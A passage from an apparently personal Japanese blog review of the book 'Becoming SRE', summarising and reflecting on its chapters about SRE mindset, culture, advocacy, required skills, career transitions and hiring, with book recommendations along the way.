Topologiesを参考にしても分かりやすいかもしれないです。web.devopstopologies.com例えば、スタートアップのような小規模な組織では、DevOpsの手法を全面的に採用し、エンジニア全員がデリバリーと運用の両方に携わるのが適切かもしれない。一方、大規模なシステムを運用する組織では、SREの手法を導入し、信頼性の確保に特化したチームを設置することが有効だろう。いずれにせよ、SREとDevOpsのどちらか一方を選ぶのではなく、両者の長所を活かし、組織の文脈に合わせて柔軟に適用していくことが重要です。そのためには、両者の理念や手法を深く理解し、自組織の目的や制約に照らし合わせて、最適な方法論を構築する必要があります。本書の第1章で提示されたSREとDevOpsの関係性に関する考察は、そのための出発点として大変良いものだった。今後は、本書で得た知見を土台に、SREとDevOpsの実践方法を探求するときに活用していきたい。。つまり、SREとは、高い信頼性を持つシステムを構築・運用するための体系的なアプローチであり、エンジニアリングと運用のベストプラクティスを組み合わせたものと言えるとおもいます。Chapter 2. SRE MindsetSREにとって大切な問いかけ本章は、著者自身の経験と、他のSREとの対話から得られた洞察を基に、SREのマインドセットを形作る大切な要素について分かりやすく説明されていました。最初に出てくる \\"システムはどのように動作しているのか?どのように失敗するのか?\\" という問いかけは、SREの思考法の根っこにあるものだと感じました。システムの信頼性を追求するには、その動作原理と障害パターンを徹底的に理解する必要があります。著者が強調しているように、SREにとって大切なのは \\"どのように動作すべきか\\" ではなく \\"実際の本番環境ではどのように動作しているのか\\" なんですよね。システムを理解するためには、ミクロなレベルからマクロなレベルまで、あらゆる粒度でシステムを観察して、分析しなければいけません。著者が例に挙げているデータベース接続の話は、一見些細なことのように思えるかもしれませんが、**SREはそこから派生するいろんな問題を想定して、システム全体への影響を考えなくちゃいけないんです。システムを理解する例として最近公開された ブラウザからDBに行き着くまでをただまとめる のような取り組みを自サービスで行うと効果的と考えています。システムの動作を自身で調べながら書き出していくという点でSREの探求20章でアクティブラーニングで紹介された事例に近いものがあります。zenn.dev著者が \\"Understanding a System as a System\\" というコラムで紹介しているシナリオは、SREにとってのシステム思考の重要性をよく表していました。データセンターで電源ケーブルが切れるという一つの出来事が、いくつもの要因が絡み合って、最終的にお客さんの購買機会の損失につながっていく流れが描かれています。このシナリオは、システム障害の責任を特定の個人に押し付けるのではなく、システム全体の問題として捉えることの大切さを教えてくれています。SREのマインドセットで大事なのは、お客さんの立場に立つことだと著者は指摘しています。システムの信頼性は、コンポーネントの視点ではなく、お客さんの視点から測定されるべきなんです。100台のWebサーバーのうち14台が故障した場合のシナリオは、このことをはっきりと示していました。SREは常に、システムがお客さんからどう見えているのかを意識して、お客さんの期待に応えることを目指しているんですよね。SREのマインドセットの特徴の一つは、フィードバックループの重要性を理解していることだと著者は述べています。信頼性の向上は、継続的なフィードバックループを通じて達成されるんです。SREの役割は、システムのあらゆる場所でフィードバックループを見つけ出して、育てていくことにあります。それから、SREは他者とのコラボレーションを大切にするという点も印象に残りました。信頼性の追求は、絶対に一人では成し遂げられません。SREは、開発者、運用チーム、マネージャー、そしてお客さんを含むいろんな関係者と協力しながら、システムの信頼性を高めていくんです。特に、お客さんとのコラボレーションについて著者が提示した \\"お客さんと一緒に信頼性を高めるためにどうやって協力できるだろう?\\" という問いは、SREのあり方を考える上でとても示唆に富んでいると思いました。SREの反脆弱性を高める営みSREの失敗(failure)や障害(error)に対する姿勢も興味深かったです。SREは、失敗をネガティブなものとしてではなく、学びのチャンスとして捉えるんです。障害は、システムについての理解を深めるための貴重な情報源なんですよね。対話から得た \\"障害をシグナルとして扱う\\" という著者の学びは、SREのマインドセットをズバリ表していると感じました。この考え方は、『反脆弱性――不確実な世界を生き延びる唯一の考え方』で提唱されている \\"反脆弱性\\" の概念とも通じるものがあります。著者は、不確実性や変動性、ストレスに晒されることで、かえって強くなる性質を \\"反脆弱性\\" と呼んでいます。SREが障害を学びの機会と捉えることは、まさにシステムの反脆弱性を高める営みだと言えるでしょう。失敗から学び、その経験を糧にしてシステムを進化させていく。そういうレジリエントなマインドセットこそが、SREに求められているのかもしれません。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazonさらに、SREのマインドセットは、長期的な視点を持っているという点でも特徴的です。スケーラビリティ、運用負荷の軽減、より多くの人々への信頼性の提供など、SREは常に将来を見据えて行動しているんです。システムが時代遅れになる前に、より良い代替案を用意することも、SREの重要な役割の一つだと著者は指摘しています。第2章で紹介されたSREのマインドセットは、技術的な側面だけでなく、倫理的・文化的な側面も含んだ、多面的なものだと感じました。著者が \\"neurodiversity\\" について触れていたように、SREという職種は、多様なバックグラウンドを持つ人々の力を結集することで、より高い信頼性を達成できるのだと信じています。SREのマインドセットを実践していくことの難しさSREのマインドセットという、一見つかみどころのない概念を、具体的な事例と洞察に基づいて解き明かしてくれる、良い内容でした。システムの信頼性を追求するためには、技術的なスキルと知識に加えて、SRE特有の思考法と姿勢が欠かせないことを、改めて認識させられました。特に、システムの動作を理解し、障害を検知・分析するためには、オブザーバビリティが重要な役割を果たします。オブザーバビリティの概念と実践について、SREの視点から解説した良書です。この本は、オブザーバビリティを単なるモニタリングの延長ではなく、システムの動作を理解するための能動的なアプローチとして捉えています。時系列データ、ログ、トレースを駆使して、システムの振る舞いを可視化し、問題の根本原因を究明していく。そのようなオブザーバビリティ・エンジニアリングの手法は、SREのマインドセットを体現するものだと言えるでしょう。オブザーバビリティ・エンジニアリング作者:Charity Majors,Liz Fong-Jones,George Mirandaオーム社Amazon私自身、ソフトウェアエンジニアやSREとしての経験を積む中で、システム思考の大切さを痛感してきました。複雑化する現代のシステムにおいては、個々の要素を深く理解するだけでなく、それらが相互に作用して生み出す振る舞いを俯瞰的に捉える力が求められるんです。システム思考とは、システムを構成する要素間の相互作用や、システムとその環境との間の相互作用に着目し、システム全体の振る舞いを理解しようとするアプローチです。部分の最適化ではなく、全体の最適化を目指すのがシステム思考の特徴です。複雑なシステムでは、ある要素の変化が予想外の連鎖反応を引き起こし、システム全体に影響を及ぼすことがあります。そのような非線形な因果関係を見抜くには、システムを俯瞰する視点が欠かせません。さらに、システムの目的や境界条件を明確にし、外部環境の変化に適応していく力も求められます。SREにとって、システム思考は障害対応や信頼性の向上に直結するスキルだと言えるでしょう。障害が発生した際、表面的な症状だけでなく、根本原因を追究するためには、システム全体の挙動を理解する必要があります。また、信頼性を継続的に改善していくには、ボトルネックを特定し、フィードバックループを回していくことが重要です。それに加えて、お客さんの視点に立って、システムの価値を最大化するという姿勢も、SREにとって欠かせないものだと感じています。システムの究極的な目的は、お客さんに価値を届けることです。お客さんの要求や期待を理解し、システムの機能や性能、信頼性を進化させていく。そのようなお客さん志向のマインドセットは、システム思考と表裏一体をなすものだと言えます。プロダクトマネジメント ―ビルドトラップを避け顧客に価値を届ける作者:Melissa PerriオライリージャパンAmazon第2章で紹介されていた \\"no haunted graveyards\\" というSREの格言は、私の心に強く残りました。過去の負の遺産から目を背けるのではなく、それを掘り起こして、改善していく。それがSREの使命なんだと。障害や失敗を恐れるのではなく、それを糧にしてシステムを進化させていく。そういう姿勢こそが、SREのマインドセットの真髄なのかもしれません。もちろん、SREのマインドセットを身につけて、実践していくのは簡単なことじゃありません。技術的な学習はもちろん、経験を積み重ねて、他者との対話を通じて考えを深めていくことが欠かせません。Chapter 3. SRE CultureSREの文化を育むことの重要性本章は、SREという職種に特有の文化について理解が深まりました。著者は、SREの文化を育むことの重要性を強調しつつ、その具体的な方法論について、自身の経験と洞察に基づいて解説しています。本章を読んでいてSREには最初からスタッフエンジニア的な立ち振舞いが必要だと強く思いました。スタッフエンジニア マネジメントを超えるリーダーシップ作者:Will Larson日経BPAmazonSREの文化を育むことが重要な理由は二つあると著者は指摘しています。一つ目は、SREがその能力を最大限に発揮するためには、SREに適した環境と条件が不可欠だからです。新しい熱帯魚を飼育する際に、水温や水質、餌などに気を配るのと同じように、SREを雇用する組織は、SREが力を発揮できる文化を意識的に作り上げていく必要があります。著者は、SREの文化を育むことを \\"keep SREs happy\\" と表現していますが、これは単にSREを満足させるというだけでなく、組織にとっても重要な意味を持つのです。二つ目の理由は、SREの文化が組織全体の変革の原動力になり得るからです。著者は、SREの文化を \\"Culture as a Vehicle or a Lever\\" と表現し、SREの文化が組織や個人を望ましい方向へと導く「乗り物」あるいは「てこ」になると述べています。例えば、SREが重視する \\"it isn\'t done until it is documented\\" という考え方は、ドキュメンテーションの充実を組織全体に浸透させる力になります。SREの文化は、reliability(信頼性)という目に見えにくい価値を、組織の隅々にまで行き渡らせるための強力な手段なのです。では、SREの文化を意図的に育むにはどうすればよいのでしょうか。著者は、第2章で解説したSREのマインドセットを出発点にすることを提案しています。SREのマインドセットを形作る要素を一つ一つ取り上げ、それを支える条件や前提条件を考えていく。そのようなボトムアップのアプローチこそが、SREの文化を育む第一歩になると著者は説いています。また、著者は、Carl Saganの \\"If you wish to make an apple pie from scratch, you must first invent the universe.:アップルパイをゼロから作りたい場合は、まず宇宙を発明する必要があります。\\" という言葉を引用し、文化を構築するためには、それを構成する要素を細分化し、それらを組み合わせるプロセスに着目することが重要だと指摘しています。例えば、\\"信頼できる開発環境を提供するために何が必要か\\" という問いを立てると、そこから自己サービス化、ドキュメンテーション、拡張性、オブザーバビリティなど、SREの文化を特徴づける様々な要素が浮かび上がってきます。これらの要素を一つ一つ紐解いていくことで、SREの文化の全体像が見えてくるというのです。ただし、著者も認めるように、\\"What do I want SRE to be here?\\" という問いに答えを出すのは容易ではありません。SREに何を期待し、どんな役割を担ってもらいたいのか。組織によって、その答えは千差万別だからです。しかし、その困難な問いに向き合うことなくして、SREの文化を意図的に育むことはできません。著者は、その問いへの答えを模索するためのヒントとして、インシデント対応に注目することを提案しています。SREの文化を育むための具体的な方法としては、インシデント対応とその振り返りに注力することが有効だと著者は述べています。インシデントの検知、対応、分析、再発防止のプロセスを丁寧に分解し、そこに潜む問いに真摯に向き合うこと。それこそが、SREがシステムの信頼性を高めるために不可欠な営みであり、SREの文化の根幹をなすものだというのです。インシデント対応は、しばしば \\"fruit trees\\" を育てる営みに喩えられます。インシデントという \\"種\\" を丁寧に観察し、その理由や背景を \\"土壌\\" として分析する。そこから得られた学びを \\"肥料\\" にして、再発防止という \\"果実\\" を実らせる。そのようなプロセスを地道に積み重ねていくことが、SREの文化を根付かせ、組織の信頼性を高めていくのだと著者は説いています。ただし、インシデント対応をSREだけの仕事にしてしまうと、かえって望ましくない状況を招く恐れがあると著者は警告しています。インシデント対応を通じて得られた知見は、組織全体で共有され、活用されてこそ意味があります。もしSREだけがインシデントから学び、その知見が組織に還元されないようであれば、それは \\"車輪の脱落したショッピングカートを押している状態\\" だと著者は表現しています。つまり、SREの文化が組織を望ましい方向に牽引する力を発揮できなくなってしまうのです。その意味で、著者が \\"Who is getting smarter and what are we doing about it?:誰がより賢くなっているのでしょうか?それに対して私たちは何をしているのでしょうか?\\" と問いかけているのは示唆に富んでいます。インシデント対応から得られた教訓は、誰のものになっているのか。そして、その教訓を組織の信頼性向上にどう活かしているのか。その問いに常に意識的でいることが、SREの文化を健全に保つために不可欠なのです。SREの文化を組織に根付かせるためのもう一つの方法は、\\"読書輪読会\\" や \\"ローテーション\\" だと著者は述べています。\\"読書輪読会\\" とは、ポストモーテムやシステム設計書、書籍などを題材に、SREの視点から議論を重ねる場のことです。一方、\\"ローテーション\\" とは、SREと他の職種の間で一定期間、互いの役割を交代するという取り組みです。これらの活動を通じて、SREの考え方や価値観を組織全体に浸透させていくことができます。特に \\"ローテーション\\" は、SREの文化を組織に根付かせる上で強力な手段になり得ます。SREがソフトウェアエンジニアの役割を体験することで、開発者の視点や課題を肌で感じることができます。逆に、開発者がSREを経験することで、信頼性の重要性や、運用の現場で何が起きているのかを理解することができます。そのような相互理解が、SREと他の職能の間の \\"cultural exchange\\" を促進し、組織としての一体感を醸成するのです。『Becoming SRE』の第3章は、SREの文化という、一見捉えどころのない概念を、具体的な方法論と結びつけて解説した、良い内容でした。著者の主張で特に印象に残ったのは、SREの文化は、意図的に育まなければ根付かないというものです。組織の価値観や行動様式を変えていくことは容易ではありません。しかし、著者が提示したような地道な取り組みを積み重ねていくことで、SREの文化は確実に花開いていくはずです。SREの文化を育むためのプロセスそれは、新しい熱帯魚を迎え入れる時のようなワクワク感と、果てしない可能性に満ちたプロセスなのかもしれません。水槽の環境を整え、エサを与え、そっと見守る。SREの文化を育むことは、そんな愛情深く、辛抱強い営みなのだと感じました。もう一つ、私が共感を覚えたのは、SREの文化の中核には \\"curiosity(好奇心)\\" があるという指摘です。システムの信頼性を追求するためには、その仕組みや振る舞いを深く理解したいという欲求が不可欠です。著者が \\"Any SRE culture you create (intentionally or unintentionally) has to support curiosity.:あなたが作成する SRE 文化は (意図的か非意図的かにかかわらず) 好奇心をサポートするものでなければなりません。\\" と述べているように、好奇心こそがSREの文化を支える最も重要な要素なのです。そして、好奇心は \\"novelty(新奇性)\\" とも密接に結びついています。SREにとって、新しい技術や手法に触れ、学び続けることは、好奇心を刺激し、モチベーションを高める上で欠かせません。SREの文化は、そのような好奇心と新奇性を尊重し、奨励するものでなければならないのです。また、著者が \\"culture overlays most everything\\" と述べているように、SREの文化は、技術的側面だけでなく、組織のあらゆる側面に影響を及ぼし得るものです。それは、人と人との関わり方、コミュニケーションの取り方、意思決定のプロセスなど、組織の文化的な基盤を形作るものでもあるのです。だからこそ、SREの文化を意図的に育んでいくことが重要なのだと改めて感じました。SREの文化を育む困難さと重要性SREの道のりは決して平坦ではありません。しかし、SREの文化を大切に育んでいくことは、その旅を意義あるものにしてくれるはずです。変化への抵抗や、既存の価値観との軋轢に直面することもあるでしょう。でも、複雑なシステムを動かすためには、てこを見出し、フィードバックループを形成し、粘り強く働きかけ続けることが肝要なのです。本章を読んで、私は自身のSREとしての経験を振り返ってみました。確かに、私が所属するチームでも、SREの文化を意識的に育んできた面があります。例えば、障害の振り返りの場では、個人の責任を追及するのではなく、システムの課題を浮き彫りにすることを大切にしてきました。また、開発チームとのローテーションを通じて、互いの理解を深める取り組みも行ってきました。しかし、著者の指摘を踏まえると、まだまだ改善の余地があるようにも感じました。例えば、インシデント対応から得られた知見を、もっと組織全体に浸透させていく工夫が必要かもしれません。また、SREの文化の中核にある \\"好奇心\\" を、もっと大切にしていく必要があるようにも思います。自分なりのSREの文化を育んでいく。お客様に価値を届け続けるというSREの使命を全うするために、仲間とともに今日も一歩一歩前へ。Chapter 4. Talking About SRE (SRE Advocacy)SREについて語ることの重要性本章は、SREについて語ることの重要性と、そのための実践的なアドバイスについて理解が深まりました。著者は、SREの価値を組織内外に伝えるためのストーリーテリングの技術について、自身の豊富な経験に基づいて解説しています。ちなみに、私が以前読んだ『ダイアローグ 価値を生み出す組織に変わる対話の技術』でも、必要なのはただのコミュニケーションではなく対話であることが強調されていました。SREについて語る際にも、この点は意識すべきポイントだと思います。ダイアローグ 価値を生み出す組織に変わる対話の技術作者:熊平美香ディスカヴァー・トゥエンティワンAmazon著者によると、SREについて語ることが重要な理由は大きく二つあるそうです。一つ目は、SREという職種や考え方に対する理解を深め、その存在意義を組織内で認めてもらうためです。特に、SREを新しく導入する際や、その影響力を拡大していく段階では、効果的なアドボカシー(支持獲得活動)が欠かせません。二つ目の理由は、SREとしてのアイデンティティを形成するためだということです。著者は \\"the stories we tell ourselves are a major way identity is formed.\\" つまり、「私たちが自分自身に語る物語は、アイデンティティを形成する主要な方法である」と述べ、自分たちが語るストーリーがアイデンティティの形成に大きな影響を与えると指摘しています。SREについて語ることは、単に他者の理解を得るためだけでなく、自分自身がSREとは何かを深く理解するためにも重要なのです。では、SREについてどのようなストーリーを語れば良いのでしょうか。著者は、SREの定義や効果、評判、可能性など、様々な切り口からストーリーを構成することを提案しています。例えば、「SREの取り組みによって、あるチームの信頼性が目に見えて改善した」といった \\"効果の物語\\" や、「有名企業がSREを取り入れた」といった \\"評判の物語\\" は、SREの価値を伝える上で説得力のあるストーリーになるでしょう。また、著者は具体的なストーリーの例も挙げています。障害対応の際の謎解きのプロセスや、SREの専門家の問題解決アプローチを描くことで、SREという仕事の面白さや奥深さを伝えることができるはずです。一方で、SREについて語る上での課題についても、著者は良い指摘をしています。\\"吠えなかった犬\\" の例え話から分かるように、SREの価値は、しばしば \\"何が起きなかったか\\" という点に表れます。障害が発生しなかったことや、データ損失が防げたことなど、ネガティブな事象を語るのは容易ではありません。そのためには、\\"対比\\" の技法を活用し、SREの取り組みがなかった場合に起こり得た事態を想像させることが重要だと著者は述べています。また、\\"ヒーロー文化\\" を美化するストーリーには注意が必要だと著者は警告しています。個人の英雄的な努力を称賛するあまり、過剰な負荷や無理な働き方を正当化してしまうことがあるからです。インシデント対応でのヒーローの活躍を語る際には、組織としての課題を浮き彫りにし、改善点を提示することが肝心だと強調されています。著者が提示したストーリーの例は、SREの価値を伝える上で参考になるものばかりでした。特に、\\"ある日のSREの物語\\" のように、SREの日常業務を具体的に描くことで、その仕事の醍醐味や面白さを伝えられるアイデアが印象的でした。ただし、著者自身も認めるように、SREについて語るのは思ったより難しいことがあります。信頼性向上への取り組みは決して一直線ではなく、試行錯誤の連続だからです。その複雑な現実を、聴衆に分かりやすく伝えるためには、スキルと経験が必要不可欠だと感じました。また、SREのストーリーには、技術的な要素だけでなく、人的な要素も欠かせません。著者が \\"all of our systems are sociotechnical\\" と指摘しているように、信頼性の追求には、技術と人、両方の視点が不可欠なのです。効果的なストーリーを語るための心構え改めて振り返ってみると、SREについて語ることは、単なるアドボカシーの技術ではありません。それは、自らのアイデンティティと、組織としての使命を見つめ直す営みでもあるのだと気づかされました。著者が \\"my best talks are those that changed me during the preparation or presentation\\" と述べているように、SREについて語ることは、語り手自身をも変容させる体験になり得るのです。本章で提示された多様なストーリーのアイデアを参考に、私もSREについて語る機会を増やしていきたいと思います。自分の経験を言語化し、他者と共有することで、SREとしての自覚と誇りを深めていく。そのような語りの積み重ねが、SREの文化を組織に根付かせ、ひいては社会にも良い影響を与えていくのだと信じています。第4章は、SREという職種の意義を伝えるためのヒントに満ちた一章でした。SREについて語ることは、自分自身と、自分が関わるシステムを見つめ直すための強力な方法論なのだと実感しました。とはいえ、効果的なストーリーを紡ぐのは容易ではありません。著者が \\"Collecting stories as you go\\" と述べているように、日々の業務の中で、ストーリーのタネを見つける感度を磨いていく必要があります。そして、それを言葉にする作業を丁寧に積み重ねていくことが肝要だと感じました。また、著者も触れているように、他者のストーリーを語る際には、倫理的な配慮も欠かせません。関係者の許可を得ることは大前提ですが、それ以上に、ストーリーの背景にある文脈や、登場人物の心情に思いを馳せることが大切だと感じました。型にはまったストーリーではなく、現場の息吹が感じられるような生々しいストーリーを、誠実に語ることが求められているのだと思います。もう一つ、著者が \\"Give up your airtime\\" で述べているように、多様な語り手を登用することも重要な課題だと感じました。SREについて語る機会が、一部の立場の人々に偏ることのないよう、自分自身も意識していきたいと思います。第4章を読んで、改めてSREの魅力と可能性を感じました。システムの信頼性を追求するというミッションは、決して華やかなものではありません。しかし、著者が紹介してくれたような力強いストーリーを通じて、その意義を伝えていくことはできるはずです。お客様に平穏と信用を届け、自分のプロとしての役割を成就するために。SREに関して語ることを通じて、自身の業務の意義を再び確かめ、新たな一歩を踏み出すための決心を固めたいものです。日頃の仕事の中で信用を積み重ね、丁重な説明を怠らず、相手に応じた意思疎通を図るなど、円滑なコミュニケーションのためには並々ならぬ労力が必要不可欠です。しかしながら、コミュニケーションのコストを払いたくない、責任を背負いたくない、嫌われたくない、それでいて自分が考案した仕組みにみんなが同意し、ついてきてほしいというのは、どこまでも絵空事なのです。いかに「正しくて能率的」なアイデアでも、そこに人間が関与する以上、人間の心理や感情を考慮せざるを得ません。本来は課題解決に注力したいのに、人間関係の調整に手間を取られるのは、本質から外れているように思えるかもしれません。しかし、他者と協働しなければならない以上、それは避けられない現実なのです。SREという仕事も、究極的には人と人とのつながりの中で成り立っているのだと、改めて認識させられました。円滑なコミュニケーションを築くことは容易ではありませんが、それなくしてSREの使命を果たすことはできないのです。他者と働く──「わかりあえなさ」から始める組織論 (NewsPicksパブリッシング)作者:宇田川元一ニューズピックスAmazonII. Becoming SRE for the IndividualChapter 5. Preparing to Become an SRESREになるために必要な基礎知識本章は、SREになるために必要な知識やスキルについて理解が深まりました。著者は、SREへの道のりに唯一無二の正解はないと断りつつも、SREとして活躍するために身につけておくべき基礎知識を丁寧に解説しています。まず、「コーディングができる必要があるか」という問いに対して、著者は 「Yes」 と明確に答えています。システムの信頼性を追求するSREにとって、ソフトウェアがどのように作られているかを理解することは不可欠だからです。また、コーディングを学ぶことで、アルゴリズムの効率性、エラーハンドリング、抽象化、設計、分解、統合、依存関係、ドキュメンテーションなど、SREに必要な多くの概念を自然と学べると著者は指摘しています。これらについては自分も似たような課題感を持っていてブログにしました。syu-m-5151.hatenablog.com一方で、「コンピュータサイエンスの学位が必要か」という問いに対しては、必ずしもそうではないと著者は述べています。ただし、学位がない場合は、アルゴリズム解析やBig O記法など、コンピュータサイエンスの基礎概念をある程度理解している必要があるそうです。次に、著者は 「基本的なシステムと、その障害モード」 と 「分散システムと、その障害モード」 の理解の重要性を強調しています。現代のSREは、マイクロサービスアーキテクチャや地理的に分散したシステムを扱うことが多いため、分散システム特有の障害モードを理解し、レイテンシ、コンセンサスアルゴリズム、分散タイムキーピング、データの一貫性などの概念に精通している必要があるのです。また、著者は 「統計とデータの可視化」 のスキルも重要だと述べています。モニタリングとオブザーバビリティはSREの基盤であり、そのためには、パーセンタイル、傾向分析など、統計の知識が欠かせません。さらに、データを効果的に可視化する能力は、信頼性について客観的な議論をする上で極めて重要だと著者は指摘しています。意外に感じたのは、「ストーリーテリング」 がSREの基礎スキルの一つとして挙げられていたことです。インシデントレビューやポストモーテムは本質的にストーリーであり、そのストーリーをうまく伝えることがSREの重要な仕事だと著者は述べています。人間はストーリーを通じて情報を受け取るようにできているため、SREはストーリーテリングとストーリーリスニングのスキルを磨く必要があるのだそうです。また、著者は 「良き人であれ」 という一節で、SREにとって、プライバシー、倫理、インクルージョン、平等などの価値観について学び続けることの重要性を説いています。SREは地球上で最も重要なシステムの一部を任されているからこそ、常に自己研鑽に励み、最高の自分でいる必要があるのです。そのほか、著者は、すぐには必要ないかもしれないが、いずれSREの前に立ちはだかるであろう話題として、「大規模システム設計」「レジリエンスエンジニアリング」「カオスエンジニアリングとパフォーマンスエンジニアリング」「機械学習と人工知能」 などを挙げています。特に、機械学習によって、システムの振る舞いがデータに依存して確率的に変化するようになったことは、信頼性を考える上で大きなパラダイムシフトだと著者は指摘しています。SREの本質を追求する姿勢にこそ職責がある『Becoming SRE』の第5章は、SREに必要な知識やスキルを体系的に整理した、良い内容でした。著者は「SREの仕事の本質は、システムについて深く理解し、その信頼性を追求すること」と繰り返し強調しています。そのためには、コンピュータサイエンスの基礎から、分散システム、統計、ストーリーテリングまで、幅広い知識と経験が求められます。ただし、著者も認めるように、これらのスキルは一朝一夕には身につきません。大切なのは、自分に足りない知識を認識し、それを少しずつ埋めていく姿勢なのだと感じました。著者が \\"Worst-case scenario: it is good to know what you don\'t know.\\" と述べているように、自分の知らないことを知っているだけでも、SREへの第一歩になるはずです。また、SREとして成長していくためには、技術的なスキルだけでなく、「Are you a curious person?:あなたは好奇心旺盛な人ですか?」「Do you like to solve problems, no matter where they take you?:どこに連れて行かれても、問題を解決するのが好きですか?」「Is a life of service attractive to you?:奉仕生活はあなたにとって魅力的ですか?」といった問いに、心の底から「Yes」と答えられるかどうかも重要だと著者は述べています。SREという仕事に真に向いているかどうかは、スキルではなく、マインドセットにあるのかもしれません。本章を読んで、私はSREという職種の奥深さを改めて感じました。信頼性の追求という、一見シンプルに見える目標の背後には、実に多様な知識とスキルが求められているのです。それは、コンピュータサイエンスという学問の神髄を問うものであり、同時に、人間の認知や行動、価値観についての洞察も必要とするものだと感じました。しかし、だからこそ、SREという仕事にやりがいを感じずにはいられません。信頼性を追求するという使命を胸に、謙虚に学び、好奇心を持って問題に立ち向かう。そんなSREの姿勢は、エンジニアとして、人として、大いに魅力的だと感じます。SREへの第一歩もちろん、その道のりは平坦ではありません。著者が \\"aspirational:野心的\\" と表現しているように、本章で示された知識やスキルは、理想であって、必須条件ではないのです。大切なのは、その理想であり達人SREに向かって一歩ずつ前進していくこと。私も、自分に足りない点を一つずつ埋めながら、SREとしての道を歩んでいきたいと思います。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社AmazonChapter 6. Getting to SRE from…様々なバックグラウンドを持つ人々がSREを目指せる本章は、著者は、SREになるための唯一の正解はないと断った上で、学生、開発者、システム管理者など、よくある出発点からSREへ移行するためのアドバイスを提示しています。SOFT SKILLS ソフトウェア開発者の人生マニュアル 第2版作者:ジョン・ソンメズ日経BPAmazonまず、著者は「あなたはすでにSREなのかもしれない」と問いかけます。組織の中には、正式な肩書きこそないものの、SREのマインドセットを持って仕事に取り組んでいる人が少なからずいるというのです。もしあなたがそうだとしたら、組織内でその価値を認めてもらい、SREとしてのキャリアを歩み始めることが次の一歩になるでしょう。学生からSREを目指す人へのアドバイスとしては、インフラ関連の仕事を見つけること、クラウドプロバイダーの無料クレジットを活用すること、カンファレンスに参加することなどが挙げられています。また、コンピュータサイエンスを学ぶ学生は、スケーリング、分散コンピューティング、キューイング理論などの授業に注目すべきだと著者は述べています。一方、工学や科学を学ぶ学生は、大規模計算に触れる機会を見つけ、信頼性の高いシステムを構築するために必要なスキルを身につけることが重要だとのことです。開発者からSREへの移行に関しては、本番環境でのコードの振る舞い、障害モード、オブザーバビリティ、リリースエンジニアリング、ドキュメンテーションなどに注目することが大切だと著者は指摘しています。開発者にとって、「システムを構築するだけでなく、運用することについても考える」ことがSREへの第一歩になるのです。システム管理者からシステム管理が得意なSREになった私自身、システム管理者からSREへの道を歩んできました。著者が指摘するように、システム管理者とSREは、人々を助けたいという思いを共有しています。また、トラブルシューティングとデバッグのスキルも、両者に共通する強みだと言えるでしょう。sreake.com一方で、SREへの移行には、マインドセットの転換が必要だと著者は述べています。「すべてのものを監視する」から「顧客の視点から信頼性を測定する」へ、「適切な信頼性レベル」を追求し、「フィードバックループを育む」ことが求められます。この転換を実現するために、著者はチケット管理システムやモニタリングのメールを、信頼性に関する貴重なデータソースとして活用することを提案しています。インシデント後のレビューを非公式に実施することも、SREのマインドセットを身につける良い機会になるでしょう。さらに、「根本原因」ではなく「contributing factors:要因」といった言葉を用いることで、言語がもたらす認識の変化にも目を向けるべきだと著者は述べています。最後に、著者は他のあらゆる職種の人々に向けて、「信頼性とのつながりを見つけ、その方向に泳ぎ始めること」を勧めています。また、進捗を記録し、前進し続ける原動力にすることの重要性も強調されています。第6章は、SREというキャリアを目指す人々に、実践的なアドバイスと温かい応援のメッセージを送る内容でした。著者の主張で特に印象に残ったのは、SREへの道に唯一の正解はないという点です。様々なバックグラウンドや経験を持つ人々が、信頼性の追求という共通の目標に向かって歩んでいける。そんな多様性と包摂性こそが、SREという職能の強みなのかもしれません。本章を読んで、私はシステム管理者時代を振り返ってみました。確かに当時は、可用性の追求に汲々としていた面があります。でも、あの頃培った、ユーザーに価値を届けたいという思いは、今でもSREとしての原動力になっています。著者が述べているように、経験やスキルのギャップを少しずつ埋めていくことで、誰もがSREを目指せるのだと感じました。SREへの道のりは平坦ではないとはいえ、SREへの道のりは決して平坦ではありません。新しい知識を吸収し、経験を積み、時にはつまずきながら進んでいく。しかし、その過程で得られる学びと成長は、何物にも代えがたい価値があるはずです。Chapter 7. Hints for Getting Hired as an SRE本章は、SREの職を得るためのヒントについて理解が深まりました。著者は、SREの求人情報の評価方法から、面接の準備、面接でのアピール方法まで、SREの仕事を求める人のために実践的なアドバイスを提供しています。また、Github上ではmxssl氏によるSRE 面接準備ガイドがありこちらも一読していただければ良いと思います。github.comまず、著者は「SREの仕事はすべて同じではない」と断った上で、タイトルだけがSREに変更された職種(title-flip positions)は、本章の対象外だと明言しています。SREの求人を見極めるためには、求人情報に含まれている(あるいは含まれていない)情報に注目することが大切だと著者は述べています。求人情報に記載されている技術スタックからは、その組織の技術的成熟度や環境の一貫性などが読み取れるそうです。また、チケット管理システムへの言及は、その環境がどれほどトランザクショナルかを示唆しているとのことです。プログラミング言語への言及は、コーディングスキルがある程度重視されていることを意味します。一方、モニタリング技術への言及の有無からは、その職種とモニタリングの関係性が窺えます。次に、著者はSREの面接対策として、非抽象的な大規模システム設計(NALSD)、モニタリング/オブザーバビリティ、コンピューティングの基礎、トラブルシューティング/デバッグの4つのトピックを挙げています。これらのスキルは、ほとんどのSREの職種で求められるため、事前に準備しておくことが重要だと著者は述べています。面接で質問すべき内容についても、著者は具体的な提案をしています。「モニタリングシステムについて教えてください」「インシデント後のレビュープロセスについて教えてください」「オンコール体制について教えてください」「SREが解決しようとしている問題は何ですか?」といった質問は、その組織におけるSREの役割や成熟度を知る上で有効だそうです。答えは用意しておきますただし、著者も認めるように、面接での質問は諸刃の剣になり得ます。「あなたが雇用されたら、これらの質問に答えを出してもらいたい」と言われた場合、自分で出した難しい質問に答えなければならなくなるかもしれません。そのような状況に備えて、大まかな答えを用意しておくことが賢明だと著者は述べています。第7章は、SREの仕事を求める人のための実践的なガイドブックでした。著者の豊富な経験に基づく助言は、SREを目指す人にとって心強い道しるべになるはずです。本章を読んで、私は自身の経験を振り返ってみました。確かに、SREの面接では、技術的な質問だけでなく、システム思考やコラボレーションに関する質問も多く出されました。著者が述べているように、SREに求められるスキルは多岐にわたるため、幅広い知識と経験が問われるのだと実感しました。また、面接官としての経験からも、著者の指摘に共感を覚えました。求職者がシステムのボトルネックを特定したり、障害から学ぶ姿勢を示したりするのを見ると、SREとしての資質を感じずにはいられません。逆に、ヒーロー的な振る舞いを美化するような発言には、危険信号を感じることがあります。SREの面接は双方向のコミュニケーション本章で特に印象に残ったのは、SREの面接は双方向のコミュニケーションであるべきだという点です。求職者は、自